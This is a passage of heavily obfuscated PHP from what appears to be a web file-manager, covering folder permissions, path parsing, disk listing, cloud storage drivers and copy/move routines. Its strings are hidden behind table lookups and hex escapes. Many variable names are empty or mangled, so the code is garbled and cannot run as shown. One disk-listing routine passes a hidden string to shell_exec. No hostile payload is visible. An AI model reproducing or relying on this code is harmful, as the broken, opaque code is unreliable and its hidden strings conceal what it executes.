$[$ƃ]; } $攄 = Model($[561])->getInfo($); $ = $this->userGroupList($ʼ); $ϯɽ = isset($[$]) ? $[$][$[462]] : !1; if ($ϯɽ && Model($[547])->authCheckAction($ϯɽ[$[462]], $[1973])) { $[$ƃ] = $ϯɽ; return $ϯɽ; } $ = $this->sourceAuthSelect($攄[$[90]][$[184]]); $ = $ ? $this->authMake($, $ʼ) : !1; $ = $ ? $[$[515]] : !1; $[$ƃ] = $ ? $ : $ϯɽ; return $[$ƃ]; } public function authOwnerApply($Ļ) { $ɯ =& $_SERVER[]; if (empty($Ļ[$ɯ[462]]) || isset($Ļ[$ɯ[2167]]) && $Ļ[$ɯ[2167]]) { return $Ļ; } if (AuthModel::authCheckRoot($Ļ[$ɯ[462]][$ɯ[463]])) { return $Ļ; } $ = Model($ɯ[1388])->parentLevelArray($Ļ[$ɯ[560]]); $ = array_merge(array($Ļ[$ɯ[184]]), array_reverse($)); $ = $this->sourceAuthSelect($); $Ԧ = array(); $҃ = array(); foreach ($ as $ => $߰) { $د = $this->authFolderOwnerUser($߰); $Ԧ[$] = $د; $҃ = array_merge($҃, $د[$ɯ[637]]); if ($د[$ɯ[2168]]) { break; } } if (count($҃) == 0) { $҃ = $this->authFolderOwnerGroup($Ļ[$ɯ[545]]); } $҃ = array_unique($҃); if (AuthModel::authCheckRoot($Ļ[$ɯ[462]][$ɯ[463]])) { $҃[] = USER_ID; } $Ļ[$ɯ[462]][$ɯ[2169]] = Model($ɯ[553])->userListInfo($҃); return $Ļ; } private function authFolderOwnerGroup($) { $ =& $_SERVER[]; $؉ = Model($[2047])->where(array($[1952] => $))->select(); $ = array(); if (!$؉) { return $; } foreach ($؉ as $›) { $ճ = $this->authInfo($›); if (AuthModel::authCheckRoot($ճ[$[462]])) { $[] = $›[$[1753]]; } } return $; } private function authFolderOwnerUser($嫮) { $ =& $_SERVER[]; $ȷƑ = array(); $ = !1; foreach ($嫮 as $ʽ) { $ȴ = $this->authInfo($ʽ); if ($ʽ[$[545]] == $[219]) { $ = !0; } if ($ʽ[$[181]] == SourceModel::TYPE_USER) { if (AuthModel::authCheckRoot($ȴ[$[462]])) { $ȷƑ[] = $ʽ[$[545]]; } } } return array($[637] => $ȷƑ, $[2168] => $); } public function authMake($, $Φ = false) { $Ժ =& $_SERVER[]; $ = $this->authArrayCheck($, $Φ); if ($[$Ժ[2170]]) { $[$Ժ[2170]] = $this->sourceAuthInfo($[$Ժ[2170]]); } return $; } public function authArrayCheck($ԑ, $օ = false) { $ғ =& $_SERVER[]; if (!$ԑ) { return array($ғ[463] => 0, $ғ[515] => !1); } $օ = $օ ? $օ : USER_ID; $ړ = 0; $ԩ = 0; $ө = 0; $ = 0; $ш = 0; $ = 0; $ꀘ = 1000; $ = 0; $dzњ = 0; $˝ = 0; $࿀ = 0; $ʵ = array($ғ[184] => 0); foreach ($ԑ as $ʵ) { $Ԁ = $this->authInfo($ʵ); if (!$Ԁ) { continue; } $ƕ = $ʵ[$ғ[545]]; $̅ = intval($Ԁ[$ғ[462]]); if ($ʵ[$ғ[181]] == SourceModel::TYPE_USER && $ƕ == $օ) { $ړ = !0; $ө = $Ԁ; $ԩ = $̅; } else { if ($ʵ[$ғ[181]] == SourceModel::TYPE_GROUP && $this->groupContainUser($ƕ, $օ)) { $ = !0; $Ēτ = $this->groupStepToUserGroup($ƕ, $օ); if ($Ēτ < $ꀘ) { $ꀘ = $Ēτ; $ш = $̅; $ = $Ԁ; $ = $ƕ; } if ($Ēτ == $ꀘ && $̅ >= $ш) { $ш = $̅; $ = $Ԁ; $ = $ƕ; } } else { if ($ƕ == $ғ[219]) { $dzњ = !0; $࿀ = $Ԁ; $˝ = $̅; } } } } if ($ړ) { $ = $ԩ; $Ԁ = $ө; $ϗ = LNG($ғ[2171]); } else { if ($) { $ = $ш; $Ԁ = $; $ = Model($ғ[561])->getInfo($); $ϗ = $ғ[166] . $[$ғ[565]] . $ғ[2172] . LNG($ғ[2173]); } else { if ($dzњ) { $ = $˝; $Ԁ = $࿀; $ϗ = LNG($ғ[2143]); } else { $ = 0; $Ԁ = !1; $ϗ = $ғ[12]; } } } $ = array($ғ[2163] => intval($), $ғ[2146] => $Ԁ, $ғ[2164] => $ϗ, $ғ[2155] => $ʵ[$ғ[184]]); return $; } private function groupContainUser($, $̻ = false) { return in_array($, $this->userGroupParents($̻)); } private function groupStepToUserGroup($ͩ, $ = false) { $lj =& $_SERVER[]; $ = $this->userGroupList($); $ = 1000; $ = $GLOBALS[$lj[6]][$lj[92]][$lj[2060]] == 1; $ = $ ? 3 : 2; foreach ($ as $) { if ($[$lj[1952]] == $ͩ) { return 0; } $Δ = explode($lj[50], trim($[$lj[560]], $lj[50])); if ($Δ[0] == $lj[219] && count($Δ) > $) { $Ô = array_reverse(array_slice($Δ, $)); $ͯ = array_search($ͩ, $Ô); if ($ͯ !== !1 && $ͯ + 1 <= $) { $ = $ͯ + 1; } } } return $; } private function userGroupList($ć = false) { $ =& $_SERVER[]; static $ޚ = array(); if (isset($ޚ[$ć])) { return $ޚ[$ć]; } $ͽř = Model($[574])->getInfo($ć); $ޚ[$ć] = array_to_keyvalue($ͽř[$[2144]], $[1952]); return $ޚ[$ć]; } public function userGroupParents($Ȱ) { $﷭ =& $_SERVER[]; static $駒 = array(); $Ȱ = $Ȱ ? $Ȱ : USER_ID; if (isset($駒[$Ȱ])) { return $駒[$Ȱ]; } $ƻ = $this->userGroupList($Ȱ); $ƕҵ = array(); $̟ = $GLOBALS[$﷭[6]][$﷭[92]][$﷭[2060]] == 1; $י = $̟ ? 3 : 2; foreach ($ƻ as $贝) { $ = array($贝[$﷭[1952]]); $ = explode($﷭[50], trim($贝[$﷭[560]], $﷭[50])); if ($[0] == $﷭[219] && count($) > $י) { $ = array_slice($, $י); $ = array_merge($, array_reverse($)); } $ƕҵ = array_merge($ƕҵ, $); } $駒[$Ȱ] = array_unique($ƕҵ); return $駒[$Ȱ]; } public function authTargetInfoMake($) { $ =& $_SERVER[]; $ = array(); $ = array(); foreach ($ as $㷸) { if ($㷸[$[181]] == SourceModel::TYPE_USER) { $[] = intval($㷸[$[545]]); } else { if ($㷸[$[181]] == SourceModel::TYPE_GROUP) { $[] = intval($㷸[$[545]]); } } } if ($) { $ = Model($[553])->userListInfo($); } if ($) { $̹߇ = array($[2045] => array($[467], $)); $ = Model($[561])->field($[2174])->where($̹߇)->select(); $ = array_to_keyvalue($, $[1952]); } return array($[2175] => $, $[2176] => $); } public function authInfo($) { $Ҵ =& $_SERVER[]; if ($[$Ҵ[2061]]) { $߰ = Model($Ҵ[547])->listData($[$Ҵ[2061]]); if (!$߰) { return !1; $ = Model($Ҵ[547])->listData(); $ʺ䍳 = array_filter_by_field($, $Ҵ[462], $Ҵ[219]); return $ʺ䍳; } $Զ = array_field_key($߰, array($Ҵ[450], $Ҵ[32], $Ҵ[462], $Ҵ[1975], $Ҵ[1976])); $Զ[$Ҵ[2177]] = $; return $Զ; } else { return array($Ҵ[468] => 0, $Ҵ[1958] => $[$Ҵ[2121]], $Ҵ[469] => $Ҵ[12], $Ҵ[1975] => $Ҵ[2178]); } } } goto CՎ; bʗ: class KodIO { const KOD_SOURCE = "\173\163\x6f\165\x72\143\145\175"; const KOD_USER_RECYCLE = "\x7b\x75\x73\145\162\122\145\x63\171\x63\154\145\x7d"; const KOD_USER_FAV = "\173\x75\x73\x65\x72\x46\x61\x76\x7d"; const KOD_USER_FILE_TAG = "\173\165\163\145\162\106\151\154\145\124\x61\147\x7d"; const KOD_USER_FILE_TYPE = "\x7b\x75\x73\x65\162\x46\151\154\145\x54\171\x70\x65\175"; const KOD_GROUP_ROOT_SELF = "\173\x67\162\x6f\x75\160\122\157\x6f\164\x53\145\154\146\175"; const KOD_USER_SHARE = "\173\x75\x73\x65\x72\123\x68\141\162\x65\175"; const KOD_USER_SHARE_LINK = "\173\x75\163\x65\162\x53\x68\x61\162\x65\114\151\x6e\153\175"; const KOD_USER_SHARE_TO_ME = "\x7b\163\150\141\x72\145\124\157\115\145\x7d"; const KOD_SHARE_ITEM = "\173\163\150\x61\x72\x65\x49\164\x65\155\175"; const KOD_SHARE_LINK = "\x7b\x73\x68\141\162\x65\x49\164\x65\155\114\151\x6e\x6b\x7d"; const KOD_SEARCH = "\173\163\x65\x61\162\x63\150\175"; const KOD_BLOCK = "\x7b\x62\x6c\x6f\x63\153\x7d"; const KOD_IO = "\x7b\151\157\x7d"; const KOD_USER_RECENT = "\173\x75\163\x65\x72\122\x65\x6e\143\145\156\164\x7d"; const KOD_USER_DRIVER = "\x7b\x64\162\x69\166\x65\162\x7d"; public static function typeList() { $݆ =& $_SERVER[]; return array($݆[1305] => self::KOD_SOURCE, $݆[1306] => self::KOD_USER_RECYCLE, $݆[1307] => self::KOD_USER_FAV, $݆[1308] => self::KOD_USER_FILE_TAG, $݆[1309] => self::KOD_USER_FILE_TYPE, $݆[1310] => self::KOD_GROUP_ROOT_SELF, $݆[1311] => self::KOD_USER_SHARE, $݆[1312] => self::KOD_USER_SHARE_LINK, $݆[1313] => self::KOD_USER_SHARE_TO_ME, $݆[1314] => self::KOD_SHARE_ITEM, $݆[1315] => self::KOD_SHARE_LINK, $݆[1316] => self::KOD_SEARCH, $݆[1317] => self::KOD_BLOCK, $݆[1318] => self::KOD_IO, $݆[1319] => self::KOD_USER_RECENT, $݆[1320] => self::KOD_USER_DRIVER); } public static function parse($) { $ξ =& $_SERVER[]; $ = self::clear($); $̕ = array_values(self::typeList()); preg_match($ξ[1321], $, $); $̛ = array($ξ[471] => !1, $ξ[1322] => !1, $ξ[468] => !1, $ξ[87] => $, $ξ[1223] => !1, $ξ[1222] => $ξ[12]); if (is_array($) && count($) == 5) { $ = $ξ[1323] . $[2] . $ξ[378]; if (in_array($, $̕)) { $̛[$ξ[1223]] = $[1]; $̛[$ξ[33]] = $; $̛[$ξ[1324]] = substr($, 1, -1); $̛[$ξ[450]] = $[3]; } $̛[$ξ[1222]] = $[4]; } $ = array($ξ[12], self::KOD_SOURCE, self::KOD_IO, self::KOD_SHARE_ITEM, self::KOD_SHARE_LINK, self::KOD_USER_DRIVER); $̛[$ξ[1287]] = in_array($̛[$ξ[33]], $); return $̛; } public static function isTruePath($) { $甔 =& $_SERVER[]; if (substr($, 0, 1) != $甔[1323]) { return !0; } if (strpos($, $甔[458]) === 0) { return !0; } if (strpos($, $甔[1291]) === 0) { return !0; } if (strpos($, $甔[1325]) === 0) { return !0; } if (strpos($, $甔[1326]) === 0) { return !0; } if (strpos($, $甔[1327]) === 0) { return !0; } return !1; } public static function clear($¬) { $ =& $_SERVER[]; $¬ = str_replace(array($[1129], $[253]), $[53], $¬); $¬ = str_replace($[100], $[8], $¬); $ = $[1328]; if (substr($¬, 0, 3) == $[1329]) { $¬ = substr($¬, 3); } while (strstr($¬, $)) { $¬ = str_replace($, $[8], $¬); } $¬ = preg_replace($[1330], $[8], $¬); if ($¬ == $[8]) { return $[8]; } $¬ = rtrim($¬, $[8]); return $¬; } public static function pathTrue($Ϙ) { $Ɖ =& $_SERVER[]; if (!$Ϙ) { return $Ɖ[12]; } $Ϙ = str_replace($Ɖ[568], $Ɖ[8], str_replace($Ɖ[1331], $Ɖ[8], $Ϙ)); $Ϙ = str_replace($Ɖ[568], $Ɖ[8], str_replace($Ɖ[1331], $Ɖ[8], $Ϙ)); if (!strstr($Ϙ, $Ɖ[1329])) { return $Ϙ; } $ĕފ = explode($Ɖ[8], $Ϙ); foreach ($ĕފ as $В => $ȴ) { if ($ȴ !== $Ɖ[1332]) { continue; } for ($ = $В; $ >= 0; $--) { if ($ĕފ[$] === $Ɖ[10] || $ĕފ[$] === $Ɖ[1332] || $ĕފ[$] === -1) { continue; } if ($ĕފ[$] === $Ɖ[12]) { $ĕފ[$В] = -1; break; } $ĕފ[$В] = -1; $ĕފ[$] = -1; break; } } $ϻއ = array(); foreach ($ĕފ as $ȴ) { if ($ȴ !== -1) { $ϻއ[] = $ȴ; } } $â = implode($Ɖ[8], $ϻއ); if (strpos($â, $Ɖ[1333]) === 0) { $â = $Ɖ[1329] . substr($â, strlen($Ɖ[1333])); } return $â; } public static function sourceID($) { $ȳ =& $_SERVER[]; $郐 = self::parse($); if ($郐[$ȳ[33]] !== self::KOD_SOURCE) { show_json(LNG($ȳ[1334]), !1); } return $郐[$ȳ[450]]; } public static function make($) { if (!$) { return !1; } return self::makePath(self::KOD_SOURCE, intval($)); } public static function makeShare($삕ϓ, $Ȼ) { return self::makePath(self::KOD_SHARE_ITEM, $삕ϓ, $Ȼ); } public static function makeFileTypePath($께) { return self::makePath(self::KOD_USER_FILE_TYPE, $께); } public static function makeFileTagPath($) { return self::makePath(self::KOD_USER_FILE_TAG, $); } public static function makePath($, $ = '', $ṿ = '') { $򛕕 =& $_SERVER[]; $ѩ = substr($, 1, -1); $㰂 = $򛕕[1335] . $ѩ . $򛕕[1336] . $ . $򛕕[1337]; $㰂 = $ṿ ? $㰂 . $ṿ . $򛕕[8] : $㰂; return $㰂; } public static function hashPath($, $ޭ = true) { $ =& $_SERVER[]; $ = is_array($) ? $ : IO::info($); $ = _get($, $[1338], $[12]); if (!$ && isset($[$[226]])) { $ = trim($[$[226]], $[121]); } if (!$ && isset($[$[184]]) && $[$[184]]) { $ = IO::info(KodIO::make($[$[184]])); $ = _get($, $[1338], $[12]); } $ۡ = md5($[$[87]] . $[$[79]] . $[$[88]]); if (!$ && file_exists($[$[87]])) { $ = Cache::get($ۡ . $[1339]); $ = !1; if (!$) { $ = IO::hashSimple($[$[87]]); Cache::set($ۡ . $[1339], $, 3600 * 24 * 30); } } if ($ޭ && !$) { } return $ ? $ : $ۡ; } public static function hashPathSafe($ר, $֐ߵ = true) { $Ȭ =& $_SERVER[]; $ = self::hashPath($ר, $֐ߵ); return md5($ . $Ȭ[1340] . Model($Ȭ[815])->get($Ȭ[816])); } public static function initSystemPath() { $鉽܏ =& $_SERVER[]; if (defined($鉽܏[1341])) { return; } define($鉽܏[1341], self::systemPath($鉽܏[182])); define($鉽܏[1342], self::systemPath($鉽܏[1343])); define($鉽܏[1344], self::systemPath($鉽܏[1345])); define($鉽܏[1346], self::systemPath($鉽܏[1347])); IOHistory::bindEvent(); } public static function systemPath($) { $ڬ =& $_SERVER[]; $ꊆ = $ڬ[1348] . ucfirst($); $Ӆ = Model($ڬ[815])->get($ꊆ); if ($Ӆ) { return $Ӆ; } if ($ == $ڬ[182]) { $Ӆ = self::make(Model($ڬ[869])->systemRootPathAdd($ڬ[581])); } else { $Ӆ = self::systemPath($ڬ[182]); $Ѯˣ = self::sourceID($Ӆ); $Ӆ = self::make(Model($ڬ[869])->mkdir($Ѯˣ, $)); } Model($ڬ[815])->set($ꊆ, $Ӆ); return $Ӆ; } public static function systemFolder($裂簋) { $ڈ = IO_PATH_SYSTEM_SOURCE . $裂簋; $Դ = Cache::get($ڈ); if (!$Դ) { $ = IO::infoFullSimple($ڈ); if (!$) { $Դ = IO::mkdir($ڈ, REPEAT_SKIP); } else { $Դ = $[$_SERVER[][87]]; } Cache::set($ڈ, $Դ, 3600 * 10); } return $Դ; } public static function defaultDriver() { return Model($_SERVER[][812])->defaultDriver(); } public static function defaultIO() { $ =& $_SERVER[]; $ = self::defaultDriver(); return $[1349] . $[$[450]] . $[1337]; } public static function defaultDriverInit() { static $ = false; if ($) { return $; } $ = IO::init(self::defaultIO()); return $; } public static function fileTypeList() { $ =& $_SERVER[]; $ = $GLOBALS[$[6]][$[1350]]; foreach ($ as $ıߪ => $Ɨ) { $ = $[1351] . $ıߪ; $緈 = LNG($); if ($ != $緈) { $[$ıߪ][$[32]] = $緈; } } return $; } public static function diskList($ = true) { $ = $_SERVER[][1352]; if ($) { $ = Cache::get($); if (is_array($)) { return $; } } $ = self::diskListGet(); Cache::set($, $, 60); return $; } public static function diskListGet() { $ʘ =& $_SERVER[]; $ڈ = array(); if ($GLOBALS[$ʘ[6]][$ʘ[1353]] == $ʘ[1354]) { $ԛ = $ʘ[1355]; for ($鴬 = 0; $鴬 < strlen($ԛ); $鴬++) { $ = $ԛ[$鴬] . $ʘ[1356]; if (file_exists($)) { $ڈ[] = $; } } return $ڈ; } if (!function_exists($ʘ[101])) { $ڈ[] = $ʘ[880]; return $ڈ; } $ = explode($ʘ[253], shell_exec($ʘ[1357])); array_shift($); array_pop($); $ = array($ʘ[1358], $ʘ[1359], $ʘ[1360], $ʘ[1361], $ʘ[1362], $ʘ[1363], $ʘ[1364], $ʘ[1365]); foreach ($ as $Ƴ) { $֗ = preg_split($ʘ[1366], $Ƴ); $ = $֗[count($֗) - 1]; if (!strstr($֗[0], $ʘ[1367]) || !$) { continue; } $˿ = rtrim($, $ʘ[8]) . $ʘ[8]; if (in_array($˿, $)) { continue; } $ڈ[] = $˿; } return $ڈ; } public static function isSameDisk($, $ǖ) { $ =& $_SERVER[]; if ($GLOBALS[$[6]][$[1353]] == $[1354]) { return strtolower(substr($, 0, 1)) == strtolower(substr($ǖ, 0, 1)); } $ٲ = self::diskList(); $ = !1; $ɍ = !1; sort($ٲ); $ٲ = array_reverse($ٲ); $ = rtrim($, $[8]) . $[8]; $ǖ = rtrim($ǖ, $[8]) . $[8]; foreach ($ٲ as $) { $ = strlen($); if (!$ && substr($, 0, $) == $) { $ = $; } if (!$ɍ && substr($ǖ, 0, $) == $) { $ɍ = $; } if ($ && $ɍ) { break; } } return $ === $ɍ; } public static function transferType($, $↪) { $͟ =& $_SERVER[]; $ќЏ = self::driverType($); $ය = self::driverType($↪); if ($ќЏ[$͟[33]] == $ය[$͟[33]] && $ќЏ[$͟[1368]] == $ය[$͟[1368]]) { return $͟[1369]; } if ($ќЏ[$͟[33]] == $͟[913] && $ය[$͟[33]] == $͟[109]) { return $͟[1248]; } if ($ќЏ[$͟[33]] == $͟[109] && $ය[$͟[33]] == $͟[913]) { return $͟[110]; } return $͟[1370]; } public static function driverType($ۜ) { $𢥔 =& $_SERVER[]; $ = str_replace($𢥔[1371], $𢥔[12], strtolower($ۜ->getType())); if ($ == $𢥔[802] || $ == $𢥔[1372] || $ == $𢥔[1373]) { $ۜ = self::defaultDriverInit(); } else { if ($ == $𢥔[1258] || $ == $𢥔[1374]) { $ۜ = IO::init($ۜ->pathParse[$𢥔[1204]]); } } $⩅ = $ۜ->path; $ = str_replace($𢥔[1371], $𢥔[12], strtolower($ۜ->getType())); if ($ == $𢥔[109]) { return array($𢥔[33] => $𢥔[109], $𢥔[1368] => $𢥔[12], $𢥔[87] => $⩅, $𢥔[98] => $ۜ); } return array($𢥔[33] => $𢥔[913], $𢥔[1368] => $ۜ->pathDriver, $𢥔[87] => $⩅, $𢥔[98] => $ۜ); } public static function pathDriverType($) { return $ ? self::driverType(IO::init($)) : !1; } public static function pathDriverLocal($) { $á =& $_SERVER[]; $˄ = $ ? self::driverType(IO::init($)) : !1; return $˄[$á[33]] == $á[109] ? !0 : !1; } public static function allowCover($, $ǧ = true) { $ =& $_SERVER[]; if (is_string($)) { $ = IO::info($); } if (!$ || $[$[33]] == $[78] || $[$[79]] <= 100) { return !1; } if (isset($[$[1375]]) || !$[$[87]]) { return !1; } if (isset($[$[223]]) && !$[$[223]]) { return !1; } static $鳺 = false; if (!$鳺 || !$ǧ) { $ = self::driverType(IO::init($[$[87]])); $Θ = $[$[98]]; $鳺 = $[187]; if ($[$[33]] == $[109]) { $鳺 = $[1376]; } if ($[$[98]] && is_array($[$[98]]->config)) { $å = $[$[98]]->config; if (isset($å[$[1377]]) && $å[$[1377]]) { $鳺 = $[1376]; } } } return $鳺 == $[1376] ? !0 : !1; } } class PathDriverBOS extends PathDriverS3 { public function __construct($) { parent::__construct($); } public function setBucketCors() { return !0; } public function getBucketCors() { return !0; } public function isBucketCors() { return !0; } public function fileOutLink($⽡) { $ =& $_SERVER[]; if (substr($⽡, 0, 7) == $[1378]) { $⽡ = $[1379] . substr($⽡, 7); } header($[165] . $⽡); die; } } class PathDriverCOS extends PathDriverBaseS3 { public function __construct($էÚ) { parent::__construct($էÚ); $this->setSignVersion($_SERVER[][238]); } public function uploadFormData($긫, $ = 3600) { $ۗժ =& $_SERVER[]; $ = $ۗժ[220]; $ä = $ۗժ[254]; $ݖ = $ۗժ[265]; $ܨ = gmdate($ۗժ[1380], time() + $); $뢨 = (string) time() . $ۗժ[74] . (string) (time() + $); $DŽ = array($ۗժ[266] => $ܨ, $ۗժ[269] => array(array($ۗժ[271] => $), array($ۗժ[270] => $this->bucket), array($ۗժ[272], $ۗժ[273], $ۗժ[12]), array($ۗժ[276] => $ݖ), array($ۗժ[1381] => $ä), array($ۗժ[1382] => $this->accessKey), array($ۗժ[1383] => $뢨))); $DŽ = json_encode($DŽ); $⽺ = hash_hmac($ۗժ[254], $뢨, $this->secret); $ = sha1($DŽ); $ѝֿ = hash_hmac($ۗժ[254], $, $⽺); $ = array($ۗժ[271] => $, $ۗժ[276] => $ݖ, $ۗժ[284] => base64_encode($DŽ), $ۗժ[1381] => $ä, $ۗժ[1382] => $this->accessKey, $ۗժ[1384] => $뢨, $ۗժ[1385] => $ѝֿ, $ۗժ[199] => $this->getHost()); return $; } public function fileOutImage($, $י = 250) { $ =& $_SERVER[]; if ($this->size($) > 1024 * 1024 * 32) { return $this->fileOutImageServer($, $י); } $桞 = $this->link($); $桞 .= $[1386] . $י . $[1387]; $this->fileOutLink($桞); } public function fileOutLink($) { $ =& $_SERVER[]; if (substr($, 0, 7) == $[1378]) { $ = $[1379] . substr($, 7); } header($[165] . $); die; } } goto b峗; Aʏ: class IO extends ClassBaseCall { public static $driverCache = array(); public static $driverListSystem = array(); public static $driverListUser = array(); public static function __callStatic($Ä, $) { $ =& $_SERVER[]; $暼 = $; $GLOBALS[$[1199]] = $[1200] . $Ä; Hook::trigger($[1200] . $Ä . $[1201], $暼); $񂆬ء = self::driverMake($[0]); if (!$񂆬ء) { return !1; } if (method_exists($񂆬ء, $Ä)) { $沣 = @call_user_func_array(array($񂆬ء, $Ä), $); } else { if (method_exists($񂆬ء, $[1202])) { $沣 = @call_user_func_array(array($񂆬ء, $Ä), $); } else { if (method_exists(self, $Ä)) { $沣 = @call_user_func_array(array(self, $Ä), $); } else { $沣 = call_user_func_array(array(parent, $Ä), $); } } } Hook::trigger($[1200] . $Ä . $[1203], $暼, $沣); return $沣; } public static function init($ǖʚ) { return self::driverMake($ǖʚ); } public static function copy($, $, $ = false, $ = false) { return self::copyMoveStart($, $, $, $_SERVER[][593], $); } public static function move($, $, $Ś = false, $֚ = false) { return self::copyMoveStart($, $, $Ś, $_SERVER[][595], $֚); } private static function copyMoveStart($, $Σ, $ۡ, $ܰȃ, $Іً) { $ =& $_SERVER[]; $ = array($, $Σ, $ۡ, $Іً); Hook::trigger($[1200] . $ܰȃ . $[1201], $); $ = self::copyMove($, $Σ, $ۡ, $ܰȃ, $Іً); Hook::trigger($[1200] . $ܰȃ . $[1203], $, $); return $; } public static function saveFile($, $, $ϲ = true) { $ =& $_SERVER[]; $̹ = self::info($); $ = self::driverMake($); $ = self::driverMake($); $ = !1; if ($->pathParse[$[1204]]) { $ = $; $ň = $->pathParse[$[1204]]; $ = self::driverMake($ň); } if ($->pathParse[$[1204]]) { $ = $->pathParse[$[1204]]; $ = self::driverMake($); } $ֱ = $->pathFather($); $± = !0; if (!$ϲ && self::driverIsSame($, $)) { $± = !1; } $շ՝ = self::copyFile($, $, $, $ֱ, $̹[$[32]], $±); if ($) { $շ՝ = $->getPathOuter($շ՝); } return $շ՝; } private static function copyMove($ԁ, $, $֢, $꒪, $譶 = false) { $ݘ =& $_SERVER[]; if (!$ԁ || $ԁ == $ݘ[8] || !$) { return !1; } ignore_timeout(); $ = self::driverMake($ԁ); $ = self::driverMake($); $޸Ή = $꒪ == $ݘ[595]; $񐇁 = !1; if ($->pathParse[$ݘ[1204]]) { $񐇁 = $; $ = $->pathParse[$ݘ[1204]]; $ = self::driverMake($); } if ($->pathParse[$ݘ[1204]]) { $ԁ = $->pathParse[$ݘ[1204]]; $ = self::driverMake($ԁ); } self::check($, $ԁ, $, $); Hook::trigger($ݘ[1205], $, $ԁ, $, $); $ۂ = self::driverIsSame($, $); if ($ۂ) { if ($꒪ == $ݘ[595] && !method_exists($, $ݘ[1206]) && trim($, $ݘ[8]) == trim($->pathFather($ԁ), $ݘ[8])) { if ($->pathThis($ԁ) != $譶 && !$->isOsDriver()) { return $->rename($ԁ, $譶); } return $->getPathOuter($ԁ); } if (method_exists($, $꒪)) { return $->{$꒪}($ԁ, $, $֢, $譶); } } if ($ۂ && $꒪ == $ݘ[595] && $->getType() == $ݘ[109]) { $ = $->movePath($ԁ, $, $譶); if ($) { return $; } } $؀ = $->isFile($ԁ); if (!$؀ && $->getType() == $ݘ[802] && $->getType() == $ݘ[109]) { $ = $->copyFolderFromIO($, $ԁ, $, $֢, $޸Ή, $譶); } else { $ = self::copyPath($, $ԁ, $, $, $֢, $޸Ή, $؀, $譶); } if ($ && $޸Ή) { $->remove($ԁ); } if ($񐇁) { $ = $񐇁->getPathOuter($); } return $; } private static function check($궥, $, $, &$Ø) { $Ե =& $_SERVER[]; if (self::driverIsSame($궥, $) && $궥->isFolder($) && $궥->isParentOf($, $Ø)) { show_json(LNG($Ե[1207]), !1); } if (!$궥->exist($)) { show_json(LNG($Ե[108]), !1); } } private static function copyPath($Ǖ, $, $Ѥ, $ܼ, $ሎ, $׌, $ɑ, $ = false, $ = true) { $ڲ =& $_SERVER[]; $Ǟ = empty($) && $ !== $ڲ[219] ? $Ǖ->pathThis($) : $; if ($ሎ) { $ͨŗ = $Ѥ->fileNameExist($ܼ, $Ǟ); $ = $Ǟ; $Ǟ = $Ѥ->fileNameAuto($ܼ, $Ǟ, $ሎ, !$ɑ); if (!$ͨŗ || $ != $Ǟ) { $ሎ = !1; } if ($ && !$ሎ) { $Ѥ->_data[$ڲ[1208]] = !0; } } if ($ɑ) { return self::copyFile($Ǖ, $, $Ѥ, $ܼ, $Ǟ, $׌); } if ($ሎ == REPEAT_RENAME_FOLDER) { $ሎ = !1; } $ = rtrim($ܼ, $ڲ[8]) . $ڲ[8] . $Ǟ; $ = $Ѥ->mkdir($Ѥ->getPath($), $ሎ); $ܼ = $Ѥ->getPathInner($); $瞍 = $Ǖ->listPath($, !0); $瞍 = is_array($瞍) ? $瞍 : array($ڲ[86] => array(), $ڲ[85] => array()); $ђ = array_merge($瞍[$ڲ[86]], $瞍[$ڲ[85]]); foreach ($ђ as $ᆢ) { $ӱ = $ᆢ[$ڲ[33]] == $ڲ[221]; $ = $Ǖ->getPathInner($ᆢ[$ڲ[87]]); $ = self::copyPath($Ǖ, $, $Ѥ, $ܼ, $ሎ, $׌, $ӱ, !1, !1); if (!$) { IO::errorTips($ڲ[1209] . $ . $ڲ[73] . $ܼ); } } self::copyMoveKeepInfo($Ǖ, $, $); return $; } private static function copyFile($, $, $̨, $, $̴, $ȃʎ) { $ =& $_SERVER[]; $ = $̨->getPath(rtrim($, $[8]) . $[8] . $̴); $Ҭ = $[1210] . time() . rand_string(5); Hook::trigger($[1211], $, $, $̨, $, $̴, $Ҭ); if (self::driverIsSame($, $̨)) { if ($ȃʎ) { $Ž = $̨->moveFile($, $); } else { $Ž = $̨->copyFile($, $); } Hook::trigger($[1212], $, $, $̨, $, $̴, $Ž); self::copyMoveKeepInfo($, $, $Ž); return $Ž; } $ = TEMP_FILES; if ($GLOBALS[$[6]][$[92]][$[840]]) { $ = $GLOBALS[$[6]][$[92]][$[840]]; } $ӕ = $; mk_dir($ӕ); $Ɣ◎ = $ӕ . $Ҭ; $׮ = $Ɣ◎; $Ɣ◎ = $->download($, $Ɣ◎); $Ɣ◎ = $->iconvApp($Ɣ◎); if (substr($Ɣ◎, strlen($)) == $) { $ȃʎ = !0; } $Ž = $̨->upload($, $Ɣ◎, $ȃʎ); self::remove($׮); Hook::trigger($[1212], $, $, $̨, $, $̴, $Ž); self::copyMoveKeepInfo($, $, $Ž); return $Ž; } private static function copyMoveKeepInfo($„瘂, $Ѣ, $) { if (!$) { return; } $ = $„瘂->info($Ѣ); if (!is_array($)) { return; } IO::setModifyTime($, $[$_SERVER[][88]]); } public static function pathFather($ة) { $ = IO::init($ة); $Ϣ = $->pathFather($->path); return $->getPathOuter($Ϣ); } public static function fileOut($, $֜ɜ = false, $釁 = false, $ʗ = '') { $ه = self::driverMake($); if ($ه->isFileOutServer()) { return $ه->fileOutServer($, $֜ɜ, $釁, $ʗ); } return $ه->fileOut($, $֜ɜ, $釁, $ʗ); } public static function fileOutImage($·, $Ϯ = 250) { $ʀ = array(250, 600, 1200, 2000, 3000, 5000); for ($ = 0; $ < count($ʀ); $++) { if ($ == 0 && $Ϯ <= $ʀ[$]) { $Ϯ = $ʀ[$]; break; } else { if ($Ϯ > $ʀ[$ - 1] && $Ϯ <= $ʀ[$]) { $Ϯ = $ʀ[$]; break; } else { if ($ == count($ʀ) - 1 && $Ϯ > $ʀ[$]) { $Ϯ = $ʀ[$]; break; } } } } $ = self::driverMake($·); if ($->isFileOutServer()) { return $->fileOutImageServer($·, $Ϯ); } return $->fileOutImage($·, $Ϯ); } private static function driverIsSame($۴, $发) { $ʥ =& $_SERVER[]; $ǗǺ = $۴->getType(); $Ɇ = $发->getType(); if ($ǗǺ != $Ɇ) { return !1; } if ($ǗǺ == $ʥ[802]) { return !0; } if ($ǗǺ == $ʥ[109]) { return !0; } if ($۴->pathDriver == $发->pathDriver) { return !0; } return !1; } public static function copyUpdate($, $ؓܵ) { $ӛ =& $_SERVER[]; if (!IO::exist($)) { return !1; } if (!IO::exist($ؓܵ)) { IO::mkdir($ؓܵ); } $҆ = array_to_keyvalue(self::listAllSimple($), $ӛ[87]); $⪮ = 